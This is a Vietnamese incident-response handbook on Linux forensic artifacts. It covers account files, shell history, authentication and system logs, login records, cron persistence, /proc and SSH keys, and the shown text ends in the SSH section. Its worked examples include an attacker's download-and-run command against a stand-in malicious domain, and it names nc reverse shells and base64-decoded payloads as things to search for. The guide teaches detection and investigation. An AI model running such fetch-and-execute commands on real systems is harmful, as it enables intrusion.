



THER9CK CYBERSECURITY TEAM

HƯỚNG DẪN THỰC HÀNH • DIGITAL FORENSICS & INCIDENT RESPONSE

Artifact Điều tra Pháp y số & Nguồn dữ liệu trên Linux

Sổ tay tra cứu nhanh cho Analyst — phục vụ điều tra số và phân tích mã độc

/etc/passwd & shadow · Bash History · auth.log · syslog · systemd Journal
wtmp/utmp/btmp · Cron Jobs · Hệ thống tệp /proc · SSH Keys · Auditd
Package Logs · Dấu thời gian MACB · /tmp · Trạng thái mạng · Kernel Module
systemd Units · Memory Dump · Tệp cấu hình Shell

Biên soạn & chuẩn hoá thuật ngữ tiếng Việt cho cộng đồng
Dựa trên tài liệu gốc của Ganesha T — Cyber Security Consultant | Threat Hunter

Giới thiệu về tài liệu

Tài liệu này tổng hợp những artifact (dấu vết) pháp y và nguồn dữ liệu quan trọng nhất trên hệ thống Linux, dành cho các analyst điều tra số, đối ứng phó sự cố và người làm dịch ngược mã độc. Mỗi artifact được trình bày theo một cấu trúc thống nhất: nó là gì, nằm ở đâu trên hệ thống tệp, chứa thông tin gì, được dùng ra sao trong điều tra, hỗ trợ thế nào cho việc dịch ngược và phân tích mã độc, các bước kiểm tra cơ bản, bằng chứng thu được, ưu điểm và hạn chế, kèm một ví dụ thực tế đơn giản.

Các artifact được nhóm theo mục đích — dữ liệu người dùng và tài khoản, log xác thực và hệ thống, cơ chế duy trì truy cập (persistence), siêu dữ liệu hệ thống tệp, trạng thái mạng, và các artifact bộ nhớ/dễ mất (volatile). Bất cứ khi nào có thể, hãy thực hiện phân tích trực tiếp (live) trên hệ thống nghi ngờ bị xâm nhập một cách cẩn trọng và có kiểm soát, đồng thời luôn làm việc trên bản sao pháp y hoặc disk image thay vì chứng cứ gốc bất cứ khi nào khả thi.

LƯU Ý CHO NGƯỜI MỚI

Các lệnh minh họa trong tài liệu chỉ nên chạy trên hệ thống bạn có quyền, hoặc trong môi trường lab/phòng thí nghiệm. Hãy giữ chuỗi hành trình chứng cứ (chain of custody), tính hash mọi tệp thu thập, và tuân thủ chính sách của tổ chức cùng pháp luật hiện hành.

Mục lục

Giới thiệu về tài liệu	2
Mục lục	3
/etc/passwd và /etc/shadow	4
Bash History (~/.bash_history)	6
/var/log/auth.log (hoặc /var/log/secure)	8
/var/log/syslog (hoặc /var/log/messages)	10
systemd Journal (journalctl)	11
/var/log/wtmp, utmp và btmp (Bản ghi đăng nhập)	13
Cron Jobs & Tác vụ định kỳ	14
Hệ thống tệp /proc	16
Artifact SSH (authorized_keys & known_hosts)	18
Log Auditd (/var/log/audit/audit.log)	20
Log của Trình quản lý gói (Package Manager)	21
Siêu dữ liệu hệ thống tệp & Dấu thời gian MACB	23
Thư mục /tmp và /var/tmp	25
Cấu hình mạng & Kết nối đang hoạt động	27
Kernel Module đã nạp	29
Tệp Service / Unit của systemd	31
Memory Dump & /proc/kcore	33
Tệp cấu hình Shell	35
Tài liệu tham khảo & Đọc thêm	37

01

/etc/passwd và /etc/shadow

DỮ LIỆU NGƯỜI DÙNG & TÀI KHOẢN

LÀ GÌ?

/etc/passwd là tệp văn bản thuần liệt kê mọi tài khoản người dùng trên hệ thống Linux (tên đăng nhập, UID, GID, thư mục home, shell mặc định). /etc/shadow lưu các giá trị băm (hash) mật khẩu tương ứng cùng chính sách vòng đời mật khẩu, và chỉ root mới được phép đọc.

VỊ TRÍ TRÊN HỆ THỐNG

/etc/passwd và /etc/shadow — luôn nằm ở gốc hệ thống tệp và hiện diện trên mọi bản phân phối Linux.

THÔNG TIN CHỨA Đựng

Tên người dùng, UID và GID, đường dẫn thư mục home, shell đăng nhập, thuật toán và giá trị băm mật khẩu, ngày đổi mật khẩu gần nhất, cùng các thiết lập hết hạn mật khẩu.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Điều tra viên đọc hai tệp này để dựng danh sách đầy đủ các tài khoản, phát hiện tài khoản mới tạo hoặc khả nghi (ví dụ một tài khoản ẩn có UID 0 để chiếm quyền root), phát hiện tài khoản không có mật khẩu hoặc hash yếu/rỗng, và đối chiếu tên người dùng với bằng chứng đăng nhập cũng như lịch sử lệnh.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Trong phân tích mã độc, việc chỉnh sửa /etc/passwd hay /etc/shadow là dấu hiệu mạnh của cơ chế duy trì truy cập (persistence) — nhiều dòng malware và rootkit trên Linux tạo tài khoản backdoor đặc quyền ẩn hoặc sửa đổi các tệp này như một phần của payload, nên chuyên gia dịch ngược thường tìm đoạn mã ghi vào những đường dẫn này.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem danh sách tài khoản: `cat /etc/passwd` (chú ý các dòng UID 0 khác với 'root').
2. So sánh tệp hiện tại với bản chuẩn (baseline) đã biết hoặc bản sao lưu: `diff /etc/passwd /backup/etc/passwd`.
3. Kiểm tra quyền của tệp shadow: `ls -l /etc/shadow` (chỉ root được đọc, tức 0600/0640).
4. Tìm tài khoản có trường mật khẩu rỗng (dấu hai chấm kép '::' trong /etc/shadow).
5. Xem dấu thời gian chỉnh sửa: `stat /etc/passwd /etc/shadow` để biết tài khoản được thay đổi lần cuối khi nào.
6. Đối chiếu các UID khả nghi với bản ghi đăng nhập trong /var/log/wtmp và các log xác thực.

BẰNG CHỨNG THU ĐƯỢC

Tài khoản trái phép hoặc ẩn, leo thang đặc quyền bằng cách nhân bản UID 0, mật khẩu yếu/rỗng, và mốc thời gian cho biết tài khoản được tạo hay chỉnh sửa lúc nào.

✓ ƯU ĐIỂM

Luôn hiện diện, đọc được bằng mắt thường, kiểm tra rất nhanh, và là bước rà soát kinh điển đầu tiên trong mọi vụ ứng phó sự cố trên Linux.

! HẠN CHẾ

Riêng hash mật khẩu không cho biết mật khẩu gốc nếu chưa bẻ khoá (crack); kẻ tấn công đôi khi khôi phục lại dấu thời gian gốc của tệp (timestamping) để che giấu thay đổi.

VÍ DỤ THỰC TẾ

Trong quá trình ứng phó sự cố, bạn phát hiện một tài khoản thứ hai tên 'support' với UID 0 trong /etc/passwd — đặc quyền y hệt root — được thêm vào đúng ngày một web server bị xâm nhập, để lộ tài khoản duy trì truy cập của kẻ tấn công.

02

Bash History (~/.bash_history)

HOẠT ĐỘNG NGƯỜI DÙNG

LÀ GÌ?

Tệp `bash_history` lưu lại các lệnh người dùng gõ trong shell Bash, thường được ghi xuống đĩa khi phiên shell kết thúc (hoặc ghi ngay lập tức nếu `HISTFILE/PROMPT_COMMAND` được cấu hình đồng bộ theo thời gian thực).

VỊ TRÍ TRÊN HỆ THỐNG

~/.bash_history trong thư mục home của từng người dùng (ví dụ `/root/.bash_history`, `/home/username/.bash_history`). Các shell khác cũng có tệp tương tự, ví dụ `~/.zsh_history`.

THÔNG TIN CHỨA ĐỰNG

Danh sách văn bản thuần, theo trình tự thời gian (hoặc có mốc thời gian nếu bật `HISTTIMEFORMAT`) của mọi lệnh người dùng đã gõ, bao gồm lệnh tải về, nỗ lực leo thang đặc quyền, truyền tệp và cách sử dụng công cụ.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Đây là một trong những nguồn giàu thông tin nhất về hoạt động của kẻ tấn công trên host Linux bị xâm nhập — nó cho thấy các lệnh do thám, công cụ được tải về (`wget/curl`), nỗ lực di chuyển ngang, lệnh đánh cắp dữ liệu và các bước dọn dẹp dấu vết, thường bằng chính lời lẽ của kẻ tấn công.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Khi phân tích một mẫu mã độc được kẻ tấn công chạy thử công (thay vì qua khai thác tự động), `bash_history` có thể tiết lộ chính xác cách malware được gọi, tham số/cờ nào được dùng, và những script hay payload phụ trợ nào được dàn dựng kèm theo.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem trực tiếp tệp: `cat ~/.bash_history` hoặc `less /root/.bash_history`.
2. Kiểm tra xem `HISTTIMEFORMAT` có được bật để hiện mốc thời gian không: `export HISTTIMEFORMAT='%F %T'`.
3. Tìm các mẫu khả nghi: tải về bằng `wget/curl`, `base64 -d`, `chmod +x`, `reverse shell` qua `nc/netcat`, nỗ lực `sudo/su`.
4. Kiểm tra dấu hiệu xoá lịch sử: `history -c`, hoặc tệp `history` có kích thước bằng 0 / biến mất hoàn toàn (bản thân điều này đã là một cờ đỏ).
5. Rà soát tệp lịch sử của MỌI tài khoản, không chỉ root, bao gồm cả tài khoản dịch vụ (service account).
6. Đối chiếu mốc thời gian của lệnh (nếu có) với `auth.log` và `auditd` để dựng dòng thời gian đầy đủ.

BẢNG CHỨNG THU ĐƯỢC

Chính xác các lệnh kẻ tấn công đã thực thi, tên và URL công cụ được tải về, nỗ lực leo thang đặc quyền, dấu vết dọn dẹp chống điều tra, và dòng thời gian hành vi của cuộc xâm nhập.

✓ ƯU ĐIỂM

Cực kỳ chi tiết, thường ở dạng văn bản thuần, không cần công cụ chuyên biệt để đọc, và thường bị những kẻ tấn công thiếu cẩn thận bỏ sót.

! HẠN CHẾ

Dễ bị xoá, xoá sạch hoặc vô hiệu hoá bởi kẻ tấn công lành nghề (`unset HISTFILE`, `history -c`, hoặc trở liên kết tới `/dev/null`); chỉ ghi lại lệnh shell tương tác, không ghi việc thực thi qua script/phi tương tác.

VÍ DỤ THỰC TẾ

bash_history của một máy chủ bị xâm nhập cho thấy: `curl -O http://malicious-domain/payload.sh`, tiếp theo là `chmod +x payload.sh` rồi `./payload.sh` — cung cấp cho điều tra viên chính xác URL tải về và trình tự thực thi mà kẻ tấn công sử dụng.

03

/var/log/auth.log (hoặc /var/log/secure)

LOG XÁC THỰC

LÀ GÌ?

Một log hệ thống chuyên ghi các sự kiện liên quan xác thực — mọi nỗ lực đăng nhập, phiên SSH, lệnh sudo và hoạt động PAM (Pluggable Authentication Module) đều được daemon ghi log của hệ thống ghi lại tại đây.

VỊ TRÍ TRÊN HỆ THỐNG

/var/log/auth.log trên các hệ dựa trên Debian/Ubuntu; /var/log/secure trên các hệ dựa trên RHEL/CentOS.

THÔNG TIN CHỨA ĐỰNG

Các lần đăng nhập SSH thành công và thất bại (kèm địa chỉ IP nguồn), việc dùng lệnh sudo cùng người thực thi, sự kiện tạo/xoá tài khoản, và các lỗi xác thực PAM.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Đây là log chính để tái dựng cách kẻ tấn công giành được quyền truy cập — các đợt dò mật khẩu (brute-force), đăng nhập thành công từ IP bất thường, leo thang đặc quyền qua sudo, và thời điểm chính xác cuộc xâm nhập bắt đầu.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Ít liên quan trực tiếp tới việc dịch ngược binary, nhưng là bối cảnh thiết yếu cho chuyên gia phân tích mã độc khi làm ứng phó sự cố toàn diện: nó cho biết tài khoản nào đã thực thi binary độc hại và từ nguồn nào, giúp liên kết một mẫu mã độc với cách nó được phát tán và thực thi.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem các mục gần đây: `tail -n 200 /var/log/auth.log`
2. Tìm đăng nhập thất bại (dấu hiệu brute-force): `grep 'Failed password' /var/log/auth.log`
3. Tìm đăng nhập thành công: `grep 'Accepted password|Accepted publickey' /var/log/auth.log`
4. Tìm việc dùng sudo: `grep 'sudo:' /var/log/auth.log`
5. Xác định IP nguồn của các phiên đăng nhập từ xa và đối chiếu với nguồn tình báo mối đe dọa (threat intelligence).
6. Chú ý các tệp log đã xoay vòng (auth.log.1, auth.log.2.gz) để tra lịch sử cũ hơn, và kiểm tra journalctl nếu tệp đã bị xoá.

BẢNG CHỨNG THU ĐƯỢC

Địa chỉ IP nguồn và mốc thời gian đăng nhập, mẫu tấn công brute-force, xác thực trái phép thành công, lịch sử leo thang đặc quyền qua sudo, và các sự kiện khoá tài khoản.

✓ ƯU ĐIỂM

Chuẩn trên hầu hết mọi bản phân phối Linux, đọc được bằng mắt thường, ghi lại cả sự kiện thành công lẫn thất bại, tối quan trọng để tái dựng dòng thời gian.

! HẠN CHẾ

Có thể bị xoá hoặc can thiệp bởi kẻ tấn công có quyền root; việc xoay vòng log có thể ghi đè các mục cũ nếu không được chuyển tiếp về SIEM tập trung; không ghi hoạt động bên trong container trừ khi được cấu hình riêng.

VÍ DỤ THỰC TẾ

auth.log cho thấy hàng trăm mục 'Failed password for root' từ cùng một IP nước ngoài trong 10 phút,

theo sau là một mục 'Accepted password' — bằng chứng rõ ràng của một cuộc dò mật khẩu SSH thành công.

04

/var/log/syslog (hoặc /var/log/messages)

LOG HỆ THỐNG

LÀ GÌ?

Log hệ thống đa dụng, ghi lại thông điệp từ kernel, các dịch vụ hệ thống và nhiều ứng dụng — về cơ bản là nhật ký trung tâm cho biết 'điều gì đã xảy ra' trên toàn hệ điều hành.

VỊ TRÍ TRÊN HỆ THỐNG

/var/log/syslog trên hệ Debian/Ubuntu; /var/log/messages trên hệ RHEL/CentOS.

THÔNG TIN CHỨA ĐỰNG

Thông điệp kernel, sự kiện khởi động/dừng dịch vụ, thông báo thực thi cron job, sự kiện phần cứng/driver, và log ứng dụng của bất kỳ chương trình nào được cấu hình ghi qua syslog.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Dùng để dựng dòng thời gian rộng của các sự kiện cấp hệ thống quanh thời điểm sự cố — dịch vụ crash, khởi động lại bất thường, kết nối thiết bị USB, và cron job kích hoạt, những điều thường tương quan với hoạt động độc hại.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Có thể cho biết một dịch vụ độc hại hay tác vụ định kỳ đã chạy khi nào, và đôi khi ghi lại thông báo lỗi hoặc output crash của một mẫu mã độc nếu nó ghi qua syslog hoặc khiến một tiến trình khác lỗi và ghi log.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem hoạt động gần đây: `tail -n 200 /var/log/syslog`
2. Tìm trong khung thời gian cụ thể quanh sự cố nghi ngờ: `grep 'Jun 30' /var/log/syslog`
3. Tìm việc thực thi cron: `grep 'CRON' /var/log/syslog`
4. Tìm sự kiện USB/phần cứng: `grep -i 'usb' /var/log/syslog`
5. Chú ý các lần dịch vụ khởi động lại hoặc crash bất thường quanh mốc thời gian sự cố.
6. Dùng journalctl như một giải pháp thay thế/bổ sung hiện đại nếu hệ thống dùng systemd.

BẢNG CHỨNG THU ĐƯỢC

Dòng thời gian hoạt động dịch vụ trên toàn hệ thống, việc thực thi tác vụ định kỳ, thay đổi phần cứng (ví dụ ổ USB dùng để đánh cắp dữ liệu), và các sự kiện ngữ cảnh xung quanh một cuộc xâm nhập.

✓ ƯU ĐIỂM

Gom hoạt động từ nhiều nguồn khác nhau về một chỗ, hiện diện trên gần như mọi hệ Linux, hữu ích để đối chiếu chéo với các log khác.

! HẠN CHẾ

Khối lượng rất lớn/nhiều, định dạng khác nhau giữa các bản phân phối và daemon syslog được cấu hình (rsyslog vs syslog-ng), có thể bị kẻ tấn công có quyền root xoá.

VÍ DỤ THỰC TẾ

syslog cho thấy một mục cron kích hoạt một script từ /tmp/.hidden/update.sh mỗi 5 phút — để lộ một cơ chế persistence dựa trên cron mà nếu chỉ nhìn crontab của từng người dùng riêng lẻ thì hoàn toàn vô hình.

05

systemd Journal (journalctl)

LOG HỆ THỐNG

LÀ GÌ?

Trên các bản phân phối Linux hiện đại dùng systemd, journal là log có cấu trúc, định dạng nhị phân, ghi lại sự kiện hệ thống và dịch vụ, được systemd-journald quản lý và truy vấn bằng lệnh journalctl thay vì đọc trực tiếp các tệp văn bản thuần.

VỊ TRÍ TRÊN HỆ THỐNG

Các tệp journal nhị phân lưu tại `/var/log/journal/` (bền vững) hoặc `/run/log/journal/` (dễ mất, chỉ trong bộ nhớ, mất khi khởi động lại) — truy cập qua lệnh journalctl chứ không dùng trình soạn thảo văn bản.

THÔNG TIN CHỨA Đựng

Thông điệp kernel, log dịch vụ systemd (khởi động/dừng/lỗi), sự kiện xác thực, và mọi output ứng dụng gửi vào journal — về cơ bản là một tập cha có cấu trúc của những gì syslog từng ghi lại.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỞ

journalctl có thể lọc chính xác theo khoảng thời gian, đơn vị dịch vụ (unit), mức độ ưu tiên (priority), hoặc phiên khởi động (boot), giúp tái dựng cục bộ hiệu quả những gì đã xảy ra quanh sự cố, kể cả với các dịch vụ tồn tại ngắn hoặc đã bị xoá.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Hữu ích để lần theo thời điểm chính xác một dịch vụ systemd độc hại (cơ chế persistence) khởi động, lỗi hoặc khởi động lại, và để xem output stdout/stderr mà một binary độc hại tạo ra nếu nó được chạy dưới dạng systemd unit.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem toàn bộ log: `journalctl`
2. Lọc theo khoảng thời gian: `journalctl --since '2026-06-29' --until '2026-06-30'`
3. Lọc theo một dịch vụ cụ thể: `journalctl -u suspicious.service`
4. Lọc theo mức ưu tiên (chỉ lỗi): `journalctl -p err`
5. Xem log của phiên khởi động hiện tại: `journalctl -b`, hoặc liệt kê mọi phiên boot: `journalctl --list-boots`
6. Xuất log để phân tích ngoại tuyến: `journalctl -o json > journal_export.json`

BẢNG CHỨNG THU ĐƯỢC

Mốc thời gian chính xác của sự kiện khởi động/dừng dịch vụ hay tiến trình, sự kiện cấp kernel, hoạt động xác thực, và siêu dữ liệu có cấu trúc (PID, UID, đường dẫn thực thi) cho từng mục log.

✓ ƯU ĐIỂM

Có cấu trúc và truy vấn được (chính xác hơn nhiều so với grep log văn bản), giữ lại siêu dữ liệu như PID và đường dẫn tệp thực thi, hỗ trợ lọc theo thời gian mạnh mẽ.

! HẠN CHẾ

Định dạng nhị phân đòi hỏi dùng journalctl (không đọc được bằng trình soạn thảo văn bản thuần), journal dạng dễ mất sẽ biến mất khi khởi động lại nếu không cấu hình lưu trữ bền vững, và yêu cầu bản phân phối dùng systemd.

VÍ DỤ THỰC TẾ

Lọc bằng `journalctl -u cron.service --since today` để lộ một log thực thi dịch vụ cron cho thấy một tác vụ

định kỳ đã khởi chạy một script reverse shell lúc 03:14 sáng, chỉ ra chính xác thời điểm kích hoạt cơ chế persistence.

06

/var/log/wtmp, utmp và btmp (Bản ghi đăng nhập)

LOG XÁC THỰC

LÀ GÌ?

Các tệp log nhị phân theo dõi phiên đăng nhập người dùng: utmp ghi người dùng đang đăng nhập, wtmp lưu lịch sử toàn bộ lần đăng nhập/đăng xuất và khởi động lại hệ thống, còn btmp ghi các nỗ lực đăng nhập thất bại.

VỊ TRÍ TRÊN HỆ THỐNG

/var/run/utmp (hoặc /var/log/utmp), /var/log/wtmp, và /var/log/btmp.

THÔNG TIN CHỨA ĐỰNG

Tên người dùng, terminal/tty hoặc pseudo-terminal được dùng, địa chỉ IP nguồn hoặc hostname cho đăng nhập từ xa, mốc thời gian đăng nhập/đăng xuất, và các sự kiện khởi động/tắt máy.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Dùng để dựng một dòng thời gian đăng nhập có tính xác thực cao — ai đăng nhập, từ đâu, trong bao lâu, và hệ thống khởi động lại khi nào — là bằng chứng then chốt để chứng minh truy cập trái phép và gắn một tài khoản với hoạt động phiên cụ thể.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Giúp đối chiếu chính xác một tiến trình hay lệnh độc hại được thực thi dưới phiên đăng nhập nào, liên kết một sự kiện thực thi mã độc trở lại một IP từ xa và tài khoản cụ thể.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Xem lịch sử đăng nhập: `last -f /var/log/wtmp`
2. Xem người dùng đang đăng nhập: `who` hoặc `w`
3. Xem nỗ lực đăng nhập thất bại: `lastb -f /var/log/btmp`
4. Kiểm tra các khoảng trống trong dòng thời gian wtmp (dấu hiệu can thiệp log) bằng cách đối chiếu với auth.log.
5. Ghi lại IP nguồn của các phiên từ xa và kiểm tra chúng với nguồn tình báo mối đe dọa.
6. Dùng utmpdump để có góc nhìn chi tiết, dễ phân tích hơn: `utmpdump /var/log/wtmp`

BẢNG CHỨNG THU ĐƯỢC

Các phiên đăng nhập đã xác nhận kèm IP nguồn/terminal, thời lượng phiên, lịch sử khởi động lại hệ thống, và bản ghi các nỗ lực đăng nhập thất bại/brute-force (qua btmp).

✓ ƯU ĐIỂM

Cung cấp dữ liệu phiên đăng nhập có cấu trúc và tính xác thực cao, hỗ trợ cho các log xác thực dạng văn bản; lịch sử khởi động lại hữu ích để đối chiếu dòng thời gian.

! HẠN CHẾ

Định dạng nhị phân cần công cụ chuyên biệt (last, utmpdump) để đọc; dễ bị kẻ tấn công quyền root xoá hoặc sửa bằng công cụ chống điều tra; không ghi hoạt động bên trong một phiên đã mở sẵn.

VÍ DỤ THỰC TẾ

Chạy `last -f /var/log/wtmp` để lộ một lần đăng nhập vào tài khoản 'admin' từ một IP ngoài lạ lúc 2:47 sáng, kéo dài chỉ 90 giây — phù hợp với một script tấn công tự động đăng nhập để thả payload rồi ngắt kết nối.

07

Cron Jobs & Tác vụ định kỳ

ARTIFACT DUY TRÌ TRUY CẬP (PERSISTENCE)

LÀ GÌ?

Cron là bộ lập lịch tác vụ tích hợp sẵn của Linux. Các tác vụ định kỳ ('cron job') được định nghĩa trong crontab của từng người dùng và các thư mục cấu hình toàn hệ thống, và là một trong những cách phổ biến nhất để mã độc thiết lập persistence (để tiếp tục chạy sau khi khởi động lại).

VỊ TRÍ TRÊN HỆ THỐNG

Crontab người dùng: `/var/spool/cron/crontabs/` (hoặc `/var/spool/cron/` trên một số bản phân phối). Toàn hệ thống: `/etc/crontab`, `/etc/cron.d/`, `/etc/cron.daily/`, `/etc/cron.hourly/`, `/etc/cron.weekly/`, `/etc/cron.monthly/`. Cũng cần kiểm tra systemd timer như một phương án tương đương hiện đại.

THÔNG TIN CHỨA ĐỰNG

Các dòng lệnh được lập lịch, biểu thức lịch chạy (phút/giờ/ngày/tháng/thứ), và tài khoản người dùng mà mỗi job chạy dưới danh nghĩa.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Các mục cron được kiểm tra trong mọi vụ điều tra xâm nhập Linux để phát hiện cơ chế persistence — một script độc hại được đặt tự khởi chạy lại mỗi vài phút, ngay cả khi tiến trình mã độc ban đầu bị kết thúc.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Chuyên gia dịch ngược xem xét chính xác lệnh/tham số trong một mục cron độc hại để khôi phục toàn bộ chuỗi thực thi (ví dụ một payload mã hoá base64 truyền vào làm tham số), điều thường tiết lộ thêm các thành phần được dàn dựng cần phân tích.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê crontab của một người dùng cụ thể: `crontab -l -u username`
2. Xem cấu hình cron toàn hệ thống: `cat /etc/crontab`
3. Kiểm tra thư mục cron.d tìm tệp job bị thả vào: `ls -la /etc/cron.d/`
4. Kiểm tra các thư mục job định kỳ: `ls -la /etc/cron.daily /etc/cron.hourly`
5. Kiểm tra trực tiếp mọi script được tham chiếu để tìm nội dung khả nghi.
6. Kiểm tra cả systemd timer như một phương án hiện đại: `systemctl list-timers --all`

BẢNG CHỨNG THU ĐƯỢC

Cơ chế persistence và việc thực thi lệnh độc hại theo lịch, chính xác dòng lệnh payload (kể cả phần giải mã/che giấu), và tài khoản người dùng mà mã độc chạy dưới danh nghĩa.

✓ ƯU ĐIỂM

Một kỹ thuật persistence rất phổ biến và được hiểu rõ, tương đối dễ liệt kê trên tất cả các vị trí chuẩn, thường để lộ toàn bộ dòng lệnh của kẻ tấn công ở dạng văn bản thuần.

! HẠN CHẾ

Kẻ tấn công có thể giấu mục bằng định dạng khác thường, đặt job ở vị trí ít rõ ràng, hoặc dùng systemd timer thay cho cron để né các nhà phân tích chỉ kiểm tra crontab; cần rà nhiều vị trí tệp mới đầy đủ.

VÍ DỤ THỰC TẾ

Kiểm tra `/etc/cron.d/` để lộ một tệp tên `'system-update'` (giả danh một cái tên hợp lệ) chứa một mục chạy một script ẩn từ `/var/tmp/.cache` mỗi 10 phút — một backdoor persistence dựa trên cron kinh điển.

08

Hệ thống tệp /proc

HỆ THỐNG SỐNG / DỮ LIỆU DỄ MẤT (VOLATILE)

LÀ GÌ?

/proc là một hệ thống tệp ảo ('pseudo') đặc biệt không tồn tại trên đĩa — nó được kernel sinh ra theo thời gian thực và cung cấp một cửa sổ trực tiếp vào các tiến trình đang chạy, tham số kernel và tài nguyên hệ thống.

VỊ TRÍ TRÊN HỆ THỐNG

/proc/ (và các thư mục con theo tiến trình như /proc/<PID>/) — chỉ có khi hệ thống đang chạy; dữ liệu này không tồn tại sau khi tắt máy trừ khi được thu thập trực tiếp (live).

THÔNG TIN CHỨA Đựng

Thông tin theo tiến trình như dòng lệnh (/proc/<PID>/cmdline), biến môi trường (/proc/<PID>/environ), các file handle đang mở (/proc/<PID>/fd/), bản đồ bộ nhớ (/proc/<PID>/maps), và đường dẫn thực thi (/proc/<PID>/exe), cùng dữ liệu toàn hệ thống như kết nối mạng (/proc/net/) và module đã nạp (/proc/modules).

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỐ

Trong điều tra trực tiếp (volatile) trên một hệ thống đang chạy có khả năng đã bị xâm nhập, /proc cho điều tra viên góc nhìn thời gian thực về mọi tiến trình đang chạy, kể cả những tiến trình đã xóa binary trên đĩa của chính nó (bản sao trong bộ nhớ vẫn có thể được khôi phục qua /proc/<PID>/exe).

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Cực kỳ giá trị để phân tích mã độc chỉ giải nén hoặc giải mã trong bộ nhớ — /proc/<PID>/maps và các vùng bộ nhớ tương ứng có thể được dump và kiểm tra để khôi phục payload đã giải nén mà chưa từng chạm đĩa.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Liệt kê mọi tiến trình đang chạy: `ls /proc/ | grep -E '^[0-9]+$'`
2. Xem dòng lệnh của một tiến trình: `cat /proc/<PID>/cmdline`
3. Xem file/socket đang mở của tiến trình: `ls -l /proc/<PID>/fd/`
4. Xem ánh xạ bộ nhớ: `cat /proc/<PID>/maps`
5. Khôi phục một binary đã xóa nhưng vẫn đang chạy: `cp /proc/<PID>/exe recovered_binary`
6. Kiểm tra kết nối mạng: `cat /proc/net/tcp` và đối chiếu số inode với /proc/<PID>/fd/ để ánh xạ kết nối tới tiến trình.

BẢNG CHỨNG THU ĐƯỢC

Dòng lệnh và tham số tiến trình đang sống, khôi phục trong bộ nhớ các tệp thực thi đã xóa, socket mạng đang mở theo tiến trình, biến môi trường có thể chứa bí mật/cấu hình, và cây tiến trình thời gian thực.

✓ ƯU ĐIỂM

Tiết lộ thông tin dễ mất hoàn toàn vô hình với điều tra chỉ dựa trên đĩa, có thể khôi phục mã độc 'fileless' hoặc tự xóa, không cần công cụ đặc biệt ngoài các lệnh shell chuẩn.

! HẠN CHẾ

Hoàn toàn dễ mất — biến mất ngay khi tiến trình kết thúc hoặc hệ thống khởi động lại, nên phải thu thập trực tiếp; rootkit có thể ẩn các mục khỏi /proc bằng cách hook kernel, khiến góc nhìn không đáng tin trên một hệ thống bị xâm nhập sâu.

VÍ DỤ THỰC TẾ

Một tiến trình độc hại xóa binary của chính nó khỏi đĩa ngay sau khi thực thi để né phát hiện dựa trên tệp,

nhưng bản sao đang chạy vẫn truy cập được và khôi phục đầy đủ qua `cp /proc/1337/exe recovered.bin` để phân tích ngoại tuyến.

09

Artifact SSH (authorized_keys & known_hosts)

ARTIFACT DUY TRÌ TRUY CẬP (PERSISTENCE)

LÀ GÌ?

Xác thực SSH dựa trên khoá dùng hai tập khoá cho mỗi người dùng: `authorized_keys` (các khoá công khai được phép đăng nhập dưới danh nghĩa người dùng đó mà không cần mật khẩu) và `known_hosts` (bản ghi các host từ xa người dùng từng kết nối tới).

VỊ TRÍ TRÊN HỆ THỐNG

`~/.ssh/authorized_keys` và `~/.ssh/known_hosts` trong thư mục home của từng người dùng; cũng cần kiểm tra `/etc/ssh/sshd_config` để xem thiết lập toàn cục của SSH daemon.

THÔNG TIN CHỨA ĐỰNG

Các khoá công khai được uỷ quyền đăng nhập không mật khẩu (kèm chú thích tùy chọn định danh chủ khoá), và danh sách vân tay (fingerprint) của các server từ xa mà người dùng cục bộ đã kết nối qua SSH.

VAI TRÒ TRONG ĐIỀU TRA PHÁP Y SỞ

Kẻ tấn công rất thường thêm khoá công khai của chúng vào `authorized_keys` như một backdoor persistence không cần mật khẩu và kín đáo, tồn tại qua cả việc đổi mật khẩu. `known_hosts` có thể tiết lộ di chuyển ngang — những hệ thống nội bộ hoặc bên ngoài khác mà tài khoản bị xâm nhập đã kết nối tới.

VAI TRÒ TRONG DỊCH NGƯỢC / PHÂN TÍCH MÃ ĐỘC

Ít liên quan trực tiếp tới việc dịch ngược binary, nhưng tối quan trọng để xác định phạm vi sự cố: nó giúp lập bản đồ những hệ thống khác cũng có thể bị xâm nhập (qua `known_hosts` và đối chiếu `authorized_keys` trên toàn môi trường), định hướng nơi cần săn tìm thêm mẫu mã độc.

CÁC BƯỚC KIỂM TRA CƠ BẢN

1. Kiểm tra các khoá trái phép: `cat ~/.ssh/authorized_keys`
2. So sánh với danh mục khoá đã được phê duyệt của tổ chức nếu có.
3. Kiểm tra `known_hosts` tìm IP nội bộ/ngoại lạ: `cat ~/.ssh/known_hosts`
4. Xem dấu thời gian chỉnh sửa tệp: `stat ~/.ssh/authorized_keys`
5. Kiểm tra `/etc/ssh/sshd_config` tìm thiết lập bị nới lỏng (ví dụ `PermitRootLogin yes`, cấu hình `PasswordAuthentication`).
6. Lặp lại các bước kiểm tra cho MỌI thư mục home, kể cả tài khoản dịch vụ và root.

